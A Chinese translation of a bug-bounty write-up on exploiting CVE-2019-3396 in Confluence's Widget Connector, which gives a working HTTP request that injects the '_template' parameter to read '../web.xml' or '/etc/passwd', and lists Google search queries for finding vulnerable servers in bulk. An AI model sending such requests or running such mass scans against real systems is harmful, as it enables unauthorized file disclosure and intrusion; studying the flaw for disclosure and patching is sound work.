利用CVE-2019–3396在6小时内渗透50多家公司

iso60001  2067天前

22.png

虽然我很早就在Hackerone上创建了帐户,但我还没有真正报告过漏洞。而前几天CVE-2019-3396被曝出,让我看到了批量提交漏洞的希望。

漏洞是什么?

Confluence服务器中的Widget Connector存在缺陷(CVE-2019-3396),可导致RCESSTI。攻击者可在存在漏洞的Confluence上进行路径遍历和远程代码执行。

Widget Connector漏洞原理

Widget Connector宏可帮你把在线视频,幻灯片,照片等直接地嵌入到页面中。

在设定中,宏可支持来自以下网站的内容:

  • YouTube, Vimeo, MySpace Video, Flickr, Twitter, Slide Rocket, Google Calendar等等

Widget Connector已经定义了一些原型,例如,FriendFeedRenderer

public class FriendFeedRenderer implements WidgetRenderer
{
...
public String getEmbeddedHtml(String url, Map<String, String> params) {
params.put("_template", "com/atlassian/confluence/extra/widgetconnector/templates/simplejsc ript.vm");
return this.velocityRenderService.render(getEmbedUrl(url), params);
}
}

在以上情况下,攻击者可以利用_template参数控制后端渲染。

33.png

漏洞重现步骤:

  1. 在burp中捕获向Confluence发起的请求(GET或POST请求),并将其发送到Repeater模块。

  2. 按照如下格式修改请求。

注意:实际应用中可能需要更改请求路径并添加Referer:头,这是我在实际测试中得到的经验,否则很有可能引发未知的错误。

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: confluence.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en-GB;q=0.8,ach;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://confluence.victim.com/
Content-Type: application/json;charset=UTF-8
X-Requested-With: xm lHttpRequest
Upgrade-Insecure-Requests: 1
Content-Length: 163
Connection: close
{"contentId":"65601","macro":{"name":"widget","params":{"url":"https://www.youtube.com/watch?v=2aK8hy50fS4","width":"1000","height":"1000","_template":"../web.xml"},"body":""}}

你也可以尝试用file:///etc/passwd代替../web.xml

RCE的payload如下:

44.png

在新版本中,在渲染页面之前,系统将调用doSanitizeParameters去除_template参数。

批量利用

如何大量获得可能受此漏洞影响的公司?没错,就是使用Google语法

  1. 首先我尝试了intitle:dashboard-confluence,能够找到100个左右的confluence链接,其中21个存在问题。

  2. 我觉得这个结果太少了,不是每个confluence服务都是confluence.companyname.com

  3. 所以我在Google中尝试了多个关键词,最终找到了大约300多个目标,其中有50多家公司的服务存在该漏洞。

    inurl:http://confluence. login.action
    inurl:https://wiki. .com/confluence/
    allinurl: /confluence/login.action?
    “/spacedirectory/view.action”
    “/pages/viewpage.action?”
    “/pages/releaseview.action?”
    “aboutconfluencepage.action”

此次渗透测试我没有针对单个公司,而是尽可能的扩大测试范围。最终,我收到了很多不同公司的“认可”,不少美元或欧元的奖励,还有不少公司表示会给我寄来特殊纪念品。

感谢你的阅读!

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://medium.com/@cvignesh28/how-i-hacked-50-companies-in-6-hrs-3866b61cfdcc

最新评论

昵称
邮箱
提交评论